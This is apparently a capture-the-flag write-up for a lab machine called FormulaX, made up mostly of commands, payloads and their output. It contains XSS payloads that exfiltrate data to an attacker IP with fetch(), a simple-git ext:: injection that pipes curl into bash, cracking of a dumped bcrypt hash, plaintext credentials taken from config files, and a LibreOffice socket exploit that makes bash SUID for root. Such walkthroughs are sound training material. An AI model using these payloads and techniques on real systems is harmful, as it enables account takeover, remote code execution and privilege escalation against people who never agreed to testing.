TCP Scan

> TARGET=10.10.11.6 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /static/index.html
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 496A37014B10519386B2904D1B3086BE
|_http-cors: GET POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

web enum

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 02 Apr 2024 21:30:03 GMT
Content-Type: application/javascript; charset=UTF-8
Content-Length: 1237
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Wed, 14 Jun 2023 10:45:06 GMT
ETag: W/"4d5-188b9825350"
// A function that handles the submit request of the user
const handleRequest = async () => {
   // console.log(IP_ADDRESS_PORT + "Asd")
    const email = await document.getElementById('email').value
    const password = await document.getElementById('password').value
//    console.log(email)
//    console.log(password)
    axios.post(`/user/api/login`, {
        "email": email,
        "password": password
    }).then((response) => {
        try {
//            console.log(response.data)
            // here we are gonna show the error
            document.getElementById('error').innerHTML = response.data.Message
            if (response.data.Status == "success") {
                //redirect to the home page
                localStorage.setItem("logged_in", "true");
                window.location.href = `/restricted/home.html`;
            } else if (response.data.Status == "admin") {
                localStorage.setItem("logged_in", "admin");
                window.location.href = `/admin/admin.html`;
            }
        } catch (err) {
            alert("Something went Wrong")
        }
        // do whatever you want if console is [object object] then stringify the response
    })
}
  • After register and login, a chatbot is present. you can send a simple xss as poc, then enter history to make it execute
<img src="http://10.10.16.30?location="+document.location>
  • tried the following payloads, but no callback
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {
    const res = axios.get(`/user/api/chat`);
    const socket = io('/',{withCredentials: true});
    socket.on('message', (my_message) => {
        fetch("http://10.10.16.30/?test=" + btoa(my_message))
    });
});
<img src='http://10.10.16.30/x?1' onerror='eval(atob("base64_payload"));' />
  • it turns out the chatbot is a rabbit hole, send xss payload on /user/api/contact_us and got callback this time:
curl http://10.10.11.6/user/api/contact_us -H "Content-Type: application/json" -H "Cookie: authorization=Bearer $TOKEN" -d '{"first_name":"sdf","last_name":"fsdf","message":"<img src=x onerror=\"eval(atob(`'$(cat e.js|base64 -w0)'`));\"/>"}'
  • final payload in file e.js
const ee = document.createElement('script');
ee.src = '/socket.io/socket.io.js';
document.head.appendChild(ee);
ee.addEventListener('load', function() {
    const res = axios.get(`/user/api/chat`);
    const s = io('/',{withCredentials: true});
    s.on('message', (m) => {
        fetch("http://10.10.16.30/?test=" + document.location);
    })
});
  • found location http://chatbot.htb/admin/admin.html
  • add entry to /etc/hosts
10.10.11.6  chatbot.htb
  • subdomain enum
wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://chatbot.htb/" -H "Host: FUZZ.chatbot.htb"
[x]
  • Check the document.documentElement.innerHTML, /admin/admin.html
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../static/index.css">
    <link rel="stylesheet" href="./admin.css">
    <title>Admin</title>
<script src="/socket.io/socket.io.js"></script><script src="/socket.io/socket.io.js"></script></head>

<body>
    <center>
        <h2>Admin Panel</h2>
        <div class="login-page">
            <div class="form">
                <form class="login-form" action="javascript:search_message()" method="post">
                    <input type="text" placeholder="Search Messages" name="search" id="search" required="">
                    <button type="submit">Search</button>
                    <div style="margin-top: 4px;">
                        <label style="color: red;" id="error"> </label>
                    </div>
                    <p class="message">Logout From Account -&gt; <a href="/static/index.html" onclick="redirect()">Logout</a></p>
                </form>
            </div>
        </div>
        <h2>User Messages</h2>

 ...
<script src="/scripts/axios.min.js"></script>
<script>
    window.onload = function () {
        get_messages();
    };
    const redirect = () => {
        //localStorage.setItem("logged_in", "false");
        axios.get(`/user/api/logout`).then(() => {
            window.location.href = `/static/index.html`
        })
    };</script>
<script src="./admin.js"></script>

</body>
  • /admin/admin.js
const search_message = () => {
    const searchTerm = document.getElementById("search").value
    if (searchTerm) {
        var found = window.find(searchTerm, false, false, true, false, true, false);

        if (found) {
          var selection = window.getSelection();
          var range = selection.getRangeAt(0);
          var rect = range.getBoundingClientRect();

          window.scrollTo({
            top: rect.top + window.pageYOffset,
            behavior: "smooth"
          });
        } else {
          alert("Text not found.");
        }
      }

}

const get_messages = () => {
    const value = document.getElementById("search").value
    axios.get(`/user/api/get_messages`).then((response) => {
        try {
            response.data.Message.forEach((message => {
                console.log(message.firstname)
                const div = document.createElement('div');
                div.classList.add('new_container')
                div.innerHTML = `
      <div><label style="color: red;" id="firstname">${message.firstname} </label></div>
      <div><label style="color: red;" id="lastname"> ${message.lastname}</label></div>
      <div><label style="color: red;" id="message"> ${message.message}</label></div>
      `
                document.getElementById('big_container').appendChild(div)
            }))

        } catch (err) {
            document.getElementById('error').innerHTML = response.data.Status
        }
    })
}
  • go to the chatbot and type history, found the following
history
Hello, I am Admin.Testing the Chat Application
Write a script for dev-git-auto-update.chatbot.htb to work properly
Write a script to automate the auto-update
  • Add subdomain to /etc/hosts
10.10.11.6    dev-git-auto-update.chatbot.htb

foothold: dev-git-auto-update.chatbot.htb

  • Found simple-git v3.14
  • setup a http server with an index.html file of the following content
  • Then in the web, trigger it by
ext::sh -c curl% http://10.10.16.30/|bash
  • enum
www-data@formulax:~/app/configuration$ cat connect_db.js
cat connect_db.js
import mongoose from "mongoose";

const connectDB= async(URL_DATABASE)=>{
    try{
        const DB_OPTIONS={
            dbName : "testing"
        }
        mongoose.connect(URL_DATABASE,DB_OPTIONS)
        console.log("Connected Successfully TO Database")
    }catch(error){
        console.log(`Error Connecting to the ERROR ${error}`);
    }
}

export default connectDB
  • login to mongo
> mongo
> use testing
switched to db testing
> show collections
messages
users
> db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTIxMTc4OTZ9.v9bq1diFzIwY9RDM48tJldCmPQEzUs2GAxtiKQOhRlg", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }
{ "_id" : ObjectId("660cd576b03a32659c2b64cd"), "name" : "test", "email" : "test@test.com", "password" : "$2b$10$umajCmN5nu1hCuoUeZ7fTeBzNgL3Tgs4QGoxMh/fvdnGS8YvIIh16", "terms" : true, "value" : false, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NjBjZDU3NmIwM2EzMjY1OWMyYjY0Y2QiLCJpYXQiOjE3MTIxMTcxMTd9.DJCyWGBoG_88UZ39eQ4mCrHp7pnM-8b0bQFOUc42Qnw", "__v" : 0 }
  • crack using john
> john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:11 DONE (2024-04-03 17:20) 0.08382g/s 235.3p/s 235.3c/s 235.3C/s catcat..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
  • got frank_dorky:manchesterunited
  • login via ssh to get user flag
frank_dorky@formulax:~$ cat user.txt
1134bde4be9811148ddabbdd936ca4c2

pe

> netstat -lnput
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8082          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:40257         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -
udp        0      0 0.0.0.0:162             0.0.0.0:*                           -
udp6       0      0 :::162                  :::*                                -
  • there is an app on 3000, forward it to local and login ad frank
> ssh -L 3000:127.0.0.1:3000 frank_dorky@chatbot.htb
  • the webapp is libreNMS, info can be found on http://localhost:3000/about
  • php code can be run in /opt/librenms
frank_dorky@formulax:~$ cd /opt/librenms
frank_dorky@formulax:/opt/librenms$ ./validate.php
===========================================
Component | Version
--------- | -------
LibreNMS  | 22.10.0 (2022-10-18T04:47:05+00:00)
DB Schema | 2022_09_03_091314_update_ports_adsl_table_with_defaults (246)
PHP       | 8.1.2-1ubuntu2.14
Python    | 3.10.12
Database  | MariaDB 10.6.16-MariaDB-0ubuntu0.22.04.1
RRDTool   | 1.7.2
SNMP      | 5.9.1
===========================================

[OK]    Installed from package; no Composer required
[FAIL]  'install_dir' config setting is not set correctly. [FIX] It should probably be set to: /opt/librenms
  • download code https://github.com/librenms/librenms/tree/21.10
  • ./config_to_json.php exposes config data
frank_dorky@formulax:/opt/librenms$ ./config_to_json.php
{..........,"db_host":"localhost","db_name":"librenms","db_user":"kai_relay","db_pass":"mychemicalformulaX","db_port":"3306","db_socket":""}
  • obtained cred for kai_relay:mychemicalformulaX
kai_relay@formulax:~$ ls
app  automation
kai_relay@formulax:~$ sudo -l
Matching Defaults entries for kai_relay on forumlax:
    env_reset, timestamp_timeout=0, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_reset, timestamp_timeout=0

User kai_relay may run the following commands on forumlax:
    (ALL) NOPASSWD: /usr/bin/office.sh

kai_relay@formulax:~$ cat /usr/bin/office.sh
#!/bin/bash
/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless

kai_relay@formulax:~$ libreoffice --version
LibreOffice 7.3.7.2 30(Build:2)
# sesison 1
sudo /usr/bin/office.sh

# session 2
kai_relay@formulax:~$ echo 'chmod +s /usr/bin/bash' > pe.sh
kai_relay@formulax:~$ chmod +x pe.sh
kai_relay@formulax:~$ wget http://10.10.16.30/46544.py -O 46544.py
--2024-04-03 04:49:22--  http://10.10.16.30/46544.py
Connecting to 10.10.16.30:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1120 (1.1K) [text/x-python]
Saving to: ‘46544.py’

46544.py                                            100%[=================================================================================================================>]   1.09K  --.-KB/s    in 0.04s

2024-04-03 04:49:22 (26.0 KB/s) - ‘46544.py’ saved [1120/1120]
kai_relay@formulax:~$ python3 46544.py --host localhost --port 2002
[+] Connecting to target...
[+] Connected to localhost
kai_relay@formulax:~$ ls -ls /usr/bin/bash
1364 -rwsr-sr-x 1 root root 1396520 Jan  6  2022 /usr/bin/bash
kai_relay@formulax:~$ bash -p
bash-5.1# cat /root/root.txt
74b7d9fd95de51b399c6f573b494a87a

Support meowmeow

If you find this article useful, please support: https://www.buymeacoffee.com/meowmeowattack